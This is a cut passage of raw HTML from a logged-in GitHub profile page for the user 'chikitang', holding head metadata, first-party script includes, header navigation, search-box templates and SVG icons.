content="3c347e3ecd4172f21f40b5f945958e9a8b15c3b5c962803de065de8ef0b29900" data-turbo-track="reload"> <meta name="turbo-cache-control" content="no-preview"></meta> <meta name="octolytics-dimension-user_id" content="107093285" /><meta name="octolytics-dimension-user_login" content="chikitang" /> <meta name="browser-stats-url" content="https://api.github.com/_private/browser/stats"> <meta name="browser-errors-url" content="https://api.github.com/_private/browser/errors"> <meta name="browser-optimizely-client-errors-url" content="https://api.github.com/_private/browser/optimizely_client/errors"> <link rel="mask-icon" href="https://github.githubassets.com/pinned-octocat.svg" color="#000000"> <link rel="alternate icon" class="js-site-favicon" type="image/png" href="https://github.githubassets.com/favicons/favicon.png"> <link rel="icon" class="js-site-favicon" type="image/svg+xml" href="https://github.githubassets.com/favicons/favicon.svg"> <meta name="theme-color" content="#1e2327"> <meta name="color-scheme" content="light dark" /> <link rel="manifest" href="/manifest.json" crossOrigin="use-credentials"> </head> <body class="logged-in env-production page-responsive page-profile mine" style="word-wrap: break-word;"> <div class="position-relative js-header-wrapper "> <a href="#start-of-content" class="p-3 color-bg-accent-emphasis color-fg-on-emphasis show-on-focus js-skip-to-content">Skip to content</a> <span data-view-component="true" class="progress-pjax-loader js-pjax-loader-bar Progress position-fixed width-full"> <span style="width: 0%;" data-view-component="true" class="Progress-item progress-pjax-loader-bar left-0 top-0 color-bg-accent-emphasis"></span> </span> <script crossorigin="anonymous" defer="defer" type="application/javascript" integrity="sha512-vq9xa9mXhnKoPKegD98xDdz3z2QGmpBBTgEdXLjXQWpAHaNrJgMoKO/tWwQg3XrNHOMwbWccPo2ej0RASJ32Jw==" src="https://github.githubassets.com/assets/vendors-node_modules_github_mini-throttle_dist_decorators_js-node_modules_github_catalyst_lib-098f88-beaf716bd997.js"></script> <script crossorigin="anonymous" defer="defer" type="application/javascript" integrity="sha512-SqxGVVy+lvF/R0gsWdxjPTIX6BkspUwgKC7GkhrrpHDvTiiYveTazaMKVQ4ZsbyB8PpALQMJVu5FThgLLEa/qQ==" src="https://github.githubassets.com/assets/vendors-node_modules_github_clipboard-copy-element_dist_index_esm_js-node_modules_delegated-e-a39d96-4aac46555cbe.js"></script> <script crossorigin="anonymous" defer="defer" type="application/javascript" integrity="sha512-+RY85fUZaREgYAhJOwiMFuEzzJ0MYIJJ/e3HrBLNx5mbTvOTWawq9+/XBdBy/omg01kYOA4my0k99ImePtihQQ==" src="https://github.githubassets.com/assets/app_assets_modules_github_command-palette_items_help-item_ts-app_assets_modules_github_comman-48ad9d-f9163ce5f519.js"></script> <script crossorigin="anonymous" defer="defer" type="application/javascript" integrity="sha512-MZKd5uKV0ZulPULi4Ci9ya+diAKnUgu9G0+cTix+XVo6BGYYtTfTaAmIKFNxFkAQKcOCHMJU7itIuu409PIlNg==" src="https://github.githubassets.com/assets/command-palette-31929de6e295.js"></script> <header class="Header js-details-container Details px-3 px-md-4 px-lg-5 flex-wrap flex-md-nowrap" role="banner" > <div class="Header-item mt-n1 mb-n1 d-none d-md-flex"> <a class="Header-link " href="https://github.com/" data-hotkey="g d" aria-label="Homepage " data-turbo="false" data-analytics-event="{"category":"Header","action":"go to dashboard","label":"icon:logo"}" > <svg height="32" aria-hidden="true" viewBox="0 0 16 16" version="1.1" width="32" data-view-component="true" class="octicon octicon-mark-github v-align-middle"> <path fill-rule="evenodd" d="M8 0C3.58 0 0 3.58 0 8c0 3.54 2.29 6.53 5.47 7.59.4.07.55-.17.55-.38 0-.19-.01-.82-.01-1.49-2.01.37-2.53-.49-2.69-.94-.09-.23-.48-.94-.82-1.13-.28-.15-.68-.52-.01-.53.63-.01 1.08.58 1.23.82.72 1.21 1.87.87 2.33.66.07-.52.28-.87.51-1.07-1.78-.2-3.64-.89-3.64-3.95 0-.87.31-1.59.82-2.15-.08-.2-.36-1.02.08-2.12 0 0 .67-.21 2.2.82.64-.18 1.32-.27 2-.27.68 0 1.36.09 2 .27 1.53-1.04 2.2-.82 2.2-.82.44 1.1.16 1.92.08 2.12.51.56.82 1.27.82 2.15 0 3.07-1.87 3.75-3.65 3.95.29.25.54.73.54 1.48 0 1.07-.01 1.93-.01 2.2 0 .21.15.46.55.38A8.013 8.013 0 0016 8c0-4.42-3.58-8-8-8z"></path> </svg> </a> </div> <div class="Header-item d-md-none"> <button aria-label="Toggle navigation" aria-expanded="false" type="button" data-view-component="true" class="Header-link js-details-target btn-link"> <svg aria-hidden="true" height="24" viewBox="0 0 16 16" version="1.1" width="24" data-view-component="true" class="octicon octicon-three-bars"> <path fill-rule="evenodd" d="M1 2.75A.75.75 0 011.75 2h12.5a.75.75 0 110 1.5H1.75A.75.75 0 011 2.75zm0 5A.75.75 0 011.75 7h12.5a.75.75 0 110 1.5H1.75A.75.75 0 011 7.75zM1.75 12a.75.75 0 100 1.5h12.5a.75.75 0 100-1.5H1.75z"></path> </svg> </button> </div> <div class="Header-item Header-item--full flex-column flex-md-row width-full flex-order-2 flex-md-order-none mr-0 mt-3 mt-md-0 Details-content--hidden-not-important d-md-flex"> <div class="header-search flex-auto js-site-search position-relative flex-self-stretch flex-md-self-auto mb-3 mb-md-0 mr-0 mr-md-3 scoped-search site-scoped-search js-jump-to" > <div class="position-relative"> <!-- '"` --><!-- </textarea></xmp> --></option></form><form class="js-site-search-form" role="search" aria-label="Site" data-scope-type="User" data-scope-id="107093285" data-scoped-search-url="/users/chikitang/search" data-unscoped-search-url="/search" data-turbo="false" action="/users/chikitang/search" accept-charset="UTF-8" method="get"> <label class="form-control input-sm header-search-wrapper p-0 js-chromeless-input-container header-search-wrapper-jump-to position-relative d-flex flex-justify-between flex-items-center"> <input type="text" class="form-control input-sm header-search-input jump-to-field js-jump-to-field js-site-search-focus js-site-search-field is-clearable" data-hotkey=s,/ name="q" data-test-selector="nav-search-input" placeholder="Search or jump to…" data-unscoped-placeholder="Search or jump to…" data-scoped-placeholder="Search or jump to…" autocapitalize="off" role="combobox" aria-haspopup="listbox" aria-expanded="false" aria-autocomplete="list" aria-controls="jump-to-results" aria-label="Search or jump to…" data-jump-to-suggestions-path="/_graphql/GetSuggestedNavigationDestinations" spellcheck="false" autocomplete="off" > <input type="hidden" value="onaOjrBo6ohITGCajPS3asceXniJrPVtVg0W3PjGOVqghJTYE-qvcN961YI7OuNKFtGNfvjgTbQtKVQNyp1O1Q" data-csrf="true" class="js-data-jump-to-suggestions-path-csrf" /> <input type="hidden" class="js-site-search-type-field" name="type" > <svg xmlns="http://www.w3.org/2000/svg" width="22" height="20" aria-hidden="true" class="mr-1 header-search-key-slash"><path fill="none" stroke="#979A9C" opacity=".4" d="M3.5.5h12c1.7 0 3 1.3 3 3v13c0 1.7-1.3 3-3 3h-12c-1.7 0-3-1.3-3-3v-13c0-1.7 1.3-3 3-3z"></path><path fill="#979A9C" d="M11.8 6L8 15.1h-.9L10.8 6h1z"></path></svg> <div class="Box position-absolute overflow-hidden d-none jump-to-suggestions js-jump-to-suggestions-container"> <ul class="d-none js-jump-to-suggestions-template-container"> <li class="d-flex flex-justify-start flex-items-center p-0 f5 navigation-item js-navigation-item js-jump-to-suggestion" role="option"> <a tabindex="-1" class="no-underline d-flex flex-auto flex-items-center jump-to-suggestions-path js-jump-to-suggestion-path js-navigation-open p-2" href="" data-item-type="suggestion"> <div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path fill-rule="evenodd" d="M2 2.5A2.5 2.5 0 014.5 0h8.75a.75.75 0 01.75.75v12.5a.75.75 0 01-.75.75h-2.5a.75.75 0 110-1.5h1.75v-2h-8a1 1 0 00-.714 1.7.75.75 0 01-1.072 1.05A2.495 2.495 0 012 11.5v-9zm10.5-1V9h-8c-.356 0-.694.074-1 .208V2.5a1 1 0 011-1h8zM5 12.25v3.25a.25.25 0 00.4.2l1.45-1.087a.25.25 0 01.3 0L8.6 15.7a.25.25 0 00.4-.2v-3.25a.25.25 0 00-.25-.25h-3.5a.25.25 0 00-.25.25z"></path> </svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path fill-rule="evenodd" d="M1.75 0A1.75 1.75 0 000 1.75v12.5C0 15.216.784 16 1.75 16h12.5A1.75 1.75 0 0016 14.25V1.75A1.75 1.75 0 0014.25 0H1.75zM1.5 1.75a.25.25 0 01.25-.25h12.5a.25.25 0 01.25.25v12.5a.25.25 0 01-.25.25H1.75a.25.25 0 01-.25-.25V1.75zM11.75 3a.75.75 0 00-.75.75v7.5a.75.75 0 001.5 0v-7.5a.75.75 0 00-.75-.75zm-8.25.75a.75.75 0 011.5 0v5.5a.75.75 0 01-1.5 0v-5.5zM8 3a.75.75 0 00-.75.75v3.5a.75.75 0 001.5 0v-3.5A.75.75 0 008 3z"></path> </svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path fill-rule="evenodd" d="M11.5 7a4.499 4.499 0 11-8.998 0A4.499 4.499 0 0111.5 7zm-.82 4.74a6 6 0 111.06-1.06l3.04 3.04a.75.75 0 11-1.06 1.06l-3.04-3.04z"></path> </svg> </div> <img class="avatar mr-2 flex-shrink-0 js-jump-to-suggestion-avatar d-none" alt="" aria-label="Team" src="" width="28" height="28"> <div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div> <div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span class="js-jump-to-badge-search-text-default d-none" aria-label="in this user"> In this user </span> <span class="js-jump-to-badge-search-text-global d-none" aria-label="in all of GitHub"> All GitHub </span> <span aria-hidden="true" class="d-inline-block ml-1 v-align-middle">↵</span> </div> <div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span class="d-inline-block ml-1 v-align-middle">↵</span> </div> </a> </li> </ul> <ul class="d-none js-jump-to-no-results-template-container"> <li class="d-flex flex-justify-center flex-items-center f5 d-none js-jump-to-suggestion p-2"> <span class="color-fg-muted">No suggested jump to results</span> </li> </ul> <ul id="jump-to-results" role="listbox" class="p-0 m-0 js-navigation-container jump-to-suggestions-results-container js-jump-to-suggestions-results-container"> <li class="d-flex flex-justify-start flex-items-center p-0 f5 navigation-item js-navigation-item js-jump-to-scoped-search d-none" role="option"> <a tabindex="-1" class="no-underline d-flex flex-auto flex-items-center jump-to-suggestions-path js-jump-to-suggestion-path js-navigation-open p-2" href="" data-item-type="scoped_search"> <div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path fill-rule="evenodd" d="M2 2.5A2.5 2.5 0 014.5 0h8.75a.75.75 0 01.75.75v12.5a.75.75 0 01-.75.75h-2.5a.75.75 0 110-1.5h1.75v-2h-8a1 1 0 00-.714 1.7.75.75 0 01-1.072 1.05A2.495 2.495 0 012 11.5v-9zm10.5-1V9h-8c-.356 0-.694.074-1 .208V2.5a1 1 0 011-1h8zM5 12.25v3.25a.25.25 0 00.4.2l1.45-1.087a.25.25 0 01.3 0L8.6 15.7a.25.25 0 00.4-.2v-3.25a.25.25 0 00-.25-.25h-3.5a.25.25 0 00-.25.25z"></path> </svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path fill-rule="evenodd" d="M1.75 0A1.75 1.75 0 000 1.75v12.5C0 15.216.784 16 1.75 16h12.5A1.75 1.75 0 0016 14.25V1.75A1.75 1.75 0 0014.25 0H1.75zM1.5 1.75a.25.25 0 01.25-.25h12.5a.25.25 0 01.25.25v12.5a.25.25 0 01-.25.25H1.75a.25.25 0 01-.25-.25V1.75zM11.75 3a.75.75 0 00-.75.75v7.5a.75.75 0 001.5 0v-7.5a.75.75 0 00-.75-.75zm-8.25.75a.75.75 0 011.5 0v5.5a.75.75 0 01-1.5 0v-5.5zM8 3a.75.75 0 00-.75.75v3.5a.75.75 0 001.5 0v-3.5A.75.75 0 008 3z"></path> </svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path fill-rule="evenodd" d="M11.5 7a4.499 4.499 0 11-8.998 0A4.499 4.499 0 0111.5 7zm-.82 4.74a6 6 0 111.06-1.06l3.04 3.04a.75.75 0 11-1.06 1.06l-3.04-3.04z"></path> </svg> </div> <img class="avatar mr-2 flex-shrink-0 js-jump-to-suggestion-avatar d-none" alt="" aria-label="Team" src="" width="28" height="28"> <div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div> <div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span class="js-jump-to-badge-search-text-default d-none" aria-label="in this user"> In this user </span> <span class="js-jump-to-badge-search-text-global d-none" aria-label="in all of GitHub"> All GitHub </span> <span aria-hidden="true" class="d-inline-block ml-1 v-align-middle">↵</span> </div> <div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span class="d-inline-block ml-1 v-align-middle">↵</span> </div> </a> </li> <li class="d-flex flex-justify-start flex-items-center p-0 f5 navigation-item js-navigation-item js-jump-to-owner-scoped-search d-none" role="option"> <a tabindex="-1" class="no-underline d-flex flex-auto flex-items-center jump-to-suggestions-path js-jump-to-suggestion-path js-navigation-open p-2" href="" data-item-type="owner_scoped_search"> <div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path fill-rule="evenodd" d="M2 2.5A2.5 2.5 0 014.5 0h8.75a.75.75 0 01.75.75v12.5a.75.75 0 01-.75.75h-2.5a.75.75 0 110-1.5h1.75v-2h-8a1 1 0 00-.714 1.7.75.75 0 01-1.072 1.05A2.495 2.495 0 012 11.5v-9zm10.5-1V9h-8c-.356 0-.694.074-1 .208V2.5a1 1 0 011-1h8zM5 12.25v3.25a.25.25 0 00.4.2l1.45-1.087a.25.25 0 01.3 0L8.6 15.7a.25.25 0 00.4-.2v-3.25a.25.25 0 00-.25-.25h-3.5a.25.25 0 00-.25.25z"></path> </svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path fill-rule="evenodd" d="M1.75 0A1.75 1.75 0 000 1.75v12.5C0 15.216.784 16 1.75 16h12.5A1.75 1.75 0 0016 14.25V1.75A1.75 1.75 0 0014.25 0H1.75zM1.5 1.75a.25.25 0 01.25-.25h12.5a.25.25 0 01.25.25v12.5a.25.25 0 01-.25.25H1.75a.25.25 0 01-.25-.25V1.75zM11.75 3a.75.75 0 00-.75.75v7.5a.75.75 0 001.5 0v-7.5a.75.75 0 00-.75-.75zm-8.25.75a.75.75 0 011.5 0v5.5a.75.75 0 01-1.5 0v-5.5zM8 3a.75.75 0 00-.75.75v3.5a.75.75 0 001.5 0v-3.5A.75.75 0 008 3z"></path> </svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path fill-rule="evenodd" d="M11.5 7a4.499 4.499 0 11-8.998 0A4.499 4.499 0 0111.5 7zm-.82 4.74a6 6 0 111.06-1.06l3.04 3.04a.75.75 0 11-1.06 1.06l-3.04-3.04z"></path> </svg> </div> <img class="avatar mr-2 flex-shrink-0 js-jump-to-suggestion-avatar d-none" alt="" aria-label="Team" src="" width="28" height="28"> <div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div> <div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span class="js-jump-to-badge-search-text-default d-none" aria-label="in all of GitHub"> Search </span> <span class="js-jump-to-badge-search-text-global d-none" aria-label="in all of GitHub"> All GitHub </span> <span aria-hidden="true" class="d-inline-block ml-1 v-align-middle">↵</span> </div> <div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span class="d-inline-block ml-1 v-align-middle">↵</span> </div> </a> </li> <li class="d-flex flex-justify-start flex-items-center p-0 f5 navigation-item js-navigation-item js-jump-to-global-search d-none" role="option"> <a tabindex="-1" class="no-underline d-flex flex-auto flex-items-center jump-to-suggestions-path js-jump-to-suggestion-path js-navigation-open p-2" href="" data-item-type="global_search"> <div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path fill-rule="evenodd" d="M2 2.5A2.5 2.5 0 014.5 0h8.75a.75.75 0 01.75.75v12.5a.75.75 0 01-.75.75h-2.5a.75.75 0 110-1.5h1.75v-2h-8a1 1 0 00-.714 1.7.75.75 0 01-1.072 1.05A2.495 2.495 0 012 11.5v-9zm10.5-1V9h-8c-.356 0-.694.074-1 .208V2.5a1 1 0 011-1h8zM5 12.25v3.25a.25.25 0 00.4.2l1.45-1.087a.25.25 0 01.3 0L8.6 15.7a.25.25 0 00.4-.2v-3.25a.25.25 0 00-.25-.25h-3.5a.25.25 0 00-.25.25z"></path> </svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path fill-rule="evenodd" d="M1.75 0A1.75 1.75 0 000 1.75v12.5C0 15.216.784 16 1.75 16h12.5A1.75 1.75 0 0016 14.25V1.75A1.75 1.75 0 0014.25 0H1.75zM1.5 1.75a.25.25 0 01.25-.25h12.5a.25.25 0 01.25.25v12.5a.25.25 0 01-.25.25H1.75a.25.25 0 01-.25-.25V1.75zM11.75 3a.75.75 0 00-.75.75v7.5a.75.75 0 001.5 0v-7.5a.75.75 0 00-.75-.75zm-8.25.75a.75.75 0 011.5 0v5.5a.75.75 0 01-1.5 0v-5.5zM8 3a.75.75 0 00-.75.75v3.5a.75.75 0 001.5 0v-3.5A.75.75 0 008 3z"></path> </svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path fill-rule="evenodd" d="M11.5 7a4.499 4.499 0 11-8.998 0A4.499 4.499 0 0111.5 7zm-.82 4.74a6 6 0 111.06-1.06l3.04 3.04a.75.75 0 11-1.06 1.06l-3.04-3.04z"></path> </svg> </div> <img class="avatar mr-2 flex-shrink-0 js-jump-to-suggestion-avatar d-none" alt="" aria-label="Team" src="" width="28" height="28"> <div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div> <div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span class="js-jump-to-badge-search-text-default d-none" aria-label="in this user"> In this user </span> <span class="js-jump-to-badge-search-text-global d-none" aria-label="in all of GitHub"> All GitHub </span> <span aria-hidden="true" class="d-inline-block ml-1 v-align-middle">↵</span> </div> <div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span class="d-inline-block ml-1 v-align-middle">↵</span> </div> </a> </li> <li class="d-flex flex-justify-center flex-items-center p-0 f5 js-jump-to-suggestion"> <svg style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="m-3 anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /> </svg> </li> </ul> </div> </label> </form> </div> </div> <nav id="global-nav" class="d-flex flex-column flex-md-row flex-self-stretch flex-md-self-auto" aria-label="Global"> <a class="Header-link py-md-3 d-block d-md-none py-2 border-top border-md-top-0 border-white-fade" data-ga-click="Header, click, Nav menu - item:dashboard:user" aria-label="Dashboard" data-turbo="false" href="/dashboard">Dashboard</a> <a class="js-selected-navigation-item Header-link mt-md-n3 mb-md-n3 py-2 py-md-3 mr-0 mr-md-3 border-top border-md-top-0 border-white-fade" data-hotkey="g p" data-ga-click="Header, click, Nav menu - item:pulls context:user" aria-label="Pull requests you created" data-turbo="false" data-selected-links="/pulls /pulls/assigned /pulls/mentioned /pulls" href="/pulls"> Pull<span class="d-inline d-md-none d-lg-inline"> request</span>s </a> <a class="js-selected-navigation-item Header-link mt-md-n3 mb-md-n3 py-2 py-md-3 mr-0 mr-md-3 border-top border-md-top-0 border-white-fade" data-hotkey="g i" data-ga-click="Header, click, Nav menu - item:issues context:user" aria-label="Issues you created" data-turbo="false" data-selected-links="/issues /issues/assigned /issues/mentioned /issues" href="/issues">Issues</a> <div class="d-flex position-relative"> <a class="js-selected-navigation-item Header-link flex-auto mt-md-n3 mb-md-n3 py-2 py-md-3 mr-0 mr-md-3 border-top border-md-top-0 border-white-fade" data-ga-click="Header, click, Nav menu - item:marketplace context:user" data-octo-click="marketplace_click" data-octo-dimensions="location:nav_bar" data-turbo="false" data-selected-links=" /marketplace" href="/marketplace">Marketplace</a> </div> <a class="js-selected-navigation-item Header-link mt-md-n3 mb-md-n3 py-2 py-md-3 mr-0 mr-md-3 border-top border-md-top-0 border-white-fade" data-ga-click="Header, click, Nav menu - item:explore" data-turbo="false" data-selected-links="/explore /trending /trending/developers /integrations /integrations/feature/code /integrations/feature/collaborate /integrations/feature/ship showcases showcases_search showcases_landing /explore" href="/explore">Explore</a> <a class="js-selected-navigation-item Header-link d-block d-md-none py-2 py-md-3 border-top border-md-top-0 border-white-fade" data-ga-click="Header, click, Nav menu - item:workspaces context:user" data-turbo="false" data-selected-links="/codespaces /codespaces" href="/codespaces">Codespaces</a> <a class="js-selected-navigation-item Header-link d-block d-md-none py-2 py-md-3 border-top border-md-top-0 border-white-fade" data-ga-click="Header, click, Nav menu - item:Sponsors" data-hydro-click="{"event_type":"sponsors.button_click","payload":{"button":"HEADER_SPONSORS_DASHBOARD","sponsorable_login":"chikitang","originating_url":"https://github.com/chikitang?tab=repositories","user_id":107093285}}" data-hydro-click-hmac="894b353f92ef9cf99df582a68ce68afedb950c23eac562794d264b04c4d7d514" data-turbo="false" data-selected-links=" /sponsors/accounts" href="/sponsors/accounts">Sponsors</a> <a class="Header-link d-block d-md-none mr-0 mr-md-3 py-2 py-md-3 border-top border-md-top-0 border-white-fade" data-turbo="false" href="/settings/profile">Settings</a> <a class="Header-link d-block d-md-none mr-0 mr-md-3 py-2 py-md-3 border-top border-md-top-0 border-white-fade" data-turbo="false" href="/chikitang"> <img class="avatar avatar-user" loading="lazy" decoding="async" src="https://avatars.githubusercontent.com/u/107093285?s=40&v=4" width="20" height="20" alt="@chikitang" /> chikitang </a> <!-- '"` --><!-- </textarea></xmp> --></option></form><form data-turbo="false" action="/logout" accept-charset="UTF-8" method="post"><input type="hidden" name="authenticity_token" value="7Jd6yI5THWDg_FkIJV1Ds7qiCFaoX_Hvj-TdaYW6DwuhdateNViXxoS146e9dSd4uNbU3k2j7jqyorRzKNOZEQ" /> <button type="submit" class="Header-link mr-0 mr-md-3 py-2 py-md-3 border-top border-md-top-0 border-white-fade d-md-none btn-link d-block width-full text-left" style="padding-left: 2px;" data-analytics-event="{"category":"Header","action":"sign out","label":"icon:logout"}" > <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-sign-out v-align-middle"> <path fill-rule="evenodd" d="M2 2.75C2 1.784 2.784 1 3.75 1h2.5a.75.75 0 010 1.5h-2.5a.25.25 0 00-.25.25v10.5c0 .138.112.25.25.25h2.5a.75.75 0 010 1.5h-2.5A1.75 1.75 0 012 13.25V2.75zm10.44 4.5H6.75a.75.75 0 000 1.5h5.69l-1.97 1.97a.75.75 0 101.06 1.06l3.25-3.25a.75.75 0 000-1.06l-3.25-3.25a.75.75 0 10-1.06 1.06l1.97 1.97z"></path> </svg> Sign out </button> </form></nav> </div> <div class="Header-item Header-item--full flex-justify-center d-md-none position-relative"> <a class="Header-link " href="https://github.com/" data-hotkey="g d" aria-label="Homepage " data-turbo="false" data-analytics-event="{"category":"Header","action":"go to dashboard","label":"icon:logo"}" > <svg height="32" aria-hidden="true" viewBox="0 0 16 16" version="1.1" width="32" data-view-component="true" class="octicon octicon-mark-github v-align-middle"> <path fill-rule="evenodd" d="M8 0C3.58 0 0 3.58 0 8c0 3.54 2.29 6.53 5.47 7.59.4.07.55-.17.55-.38 0-.19-.01-.82-.01-1.49-2.01.37-2.53-.49-2.69-.94-.09-.23-.48-.94-.82-1.13-.28-.15-.68-.52-.01-.53.63-.01 1.08.58 1.23.82.72 1.21 1.87.87 2.33.66.07-.52.28-.87.51-1.07-1.78-.2-3.64-.89-3.64-3.95 0-.87.31-1.59.82-2.15-.08-.2-.36-1.02.08-2.12 0 0 .67-.21 2.2.82.64-.18 1.32-.27 2-.27.68 0 1.36.09 2 .27 1.53-1.04 2.2-.82 2.2-.82.44 1.1.16 1.92.08 2.12.51.56.82 1.27.82 2.15 0 3.07-1.87 3.75-3.65 3.95.29.25.54.73.54 1.48 0 1.07-.01 1.93-.01 2.2 0 .21.15.46.55.38A8.013 8.013 0 0016 8c0-4.42-3.58-8-8-8z"></path> </svg> </a> </div> <div class="Header-item mr-0 mr-md-3 flex-order-1 flex-md-order-none"> <notification-indicator class="js-socket-channel" data-test-selector="notifications-indicator" data-channel="eyJjIjoibm90aWZpY2F0aW9uLWNoYW5nZWQ6MTA3MDkzMjg1IiwidCI6MTY1NDY2MTY3M30=--d1a31430da7c3a208906377c76b5480a6b4db38284d899049601dbe9bf1e1be6"> <a href="/notifications" class="Header-link notification-indicator position-relative tooltipped tooltipped-sw" aria-label="You have no unread notifications" data-hotkey="g n" data-ga-click="Header, go to notifications, icon:read" data-target="notification-indicator.link"> <span class="mail-status " data-target="notification-indicator.modifier"></span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-bell"> <path d="M8 16a2 2 0 001.985-1.75c.017-.137-.097-.25-.235-.25h-3.5c-.138 0-.252.113-.235.25A2 2 0 008 16z"></path><path fill-rule="evenodd" d="M8 1.5A3.5 3.5 0 004.5 5v2.947c0 .346-.102.683-.294.97l-1.703 2.556a.018.018 0 00-.003.01l.001.006c0 .002.002.004.004.006a.017.017 0 00.006.004l.007.001h10.964l.007-.001a.016.016 0 00.006-.004.016.016 0 00.004-.006l.001-.007a.017.017 0 00-.003-.01l-1.703-2.554a1.75 1.75 0 01-.294-.97V5A3.5 3.5 0 008 1.5zM3 5a5 5 0 0110 0v2.947c0 .05.015.098.042.139l1.703 2.555A1.518 1.518 0 0113.482 13H2.518a1.518 1.518 0 01-1.263-2.36l1.703-2.554A.25.25 0 003 7.947V5z"></path> </svg> </a> </notification-indicator> </div> <div class="Header-item position-relative d-none d-md-flex"> <details class="details-overlay details-reset"> <summary class="Header-link" aria-label="Create new…" data-analytics-event="{"category":"Header","action":"create new","label":"icon:add"}" > <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-plus"> <path fill-rule="evenodd" d="M7.75 2a.75.75 0 01.75.75V7h4.25a.75.75 0 110 1.5H8.5v4.25a.75.75 0 11-1.5 0V8.5H2.75a.75.75 0 010-1.5H7V2.75A.75.75 0 017.75 2z"></path> </svg> <span class="dropdown-caret"></span> </summary> <details-menu class="dropdown-menu dropdown-menu-sw"> <a role="menuitem" class="dropdown-item" href="/new" data-ga-click="Header, create new repository"> New repository </a> <a role="menuitem" class="dropdown-item" href="/new/import" data-ga-click="Header, import a repository"> Import repository </a> <a role="menuitem" class="dropdown-item" href="https://gist.github.com/" data-ga-click="Header, create new gist"> New gist </a> <a role="menuitem" class="dropdown-item" href="/organizations/new" data-ga-click="Header, create new organization"> New organization </a> <a role="menuitem" class="dropdown-item" href="/users/chikitang/projects/new?type=beta" data-ga-click="Header, create new project"> New project </a> </details-menu> </details> </div> <div class="Header-item position-relative mr-0 d-none d-md-flex"> <details class="details-overlay details-reset js-feature-preview-indicator-container" data-feature-preview-indicator-src="/users/chikitang/feature_preview/indicator_check"> <summary class="Header-link" aria-label="View profile and more" 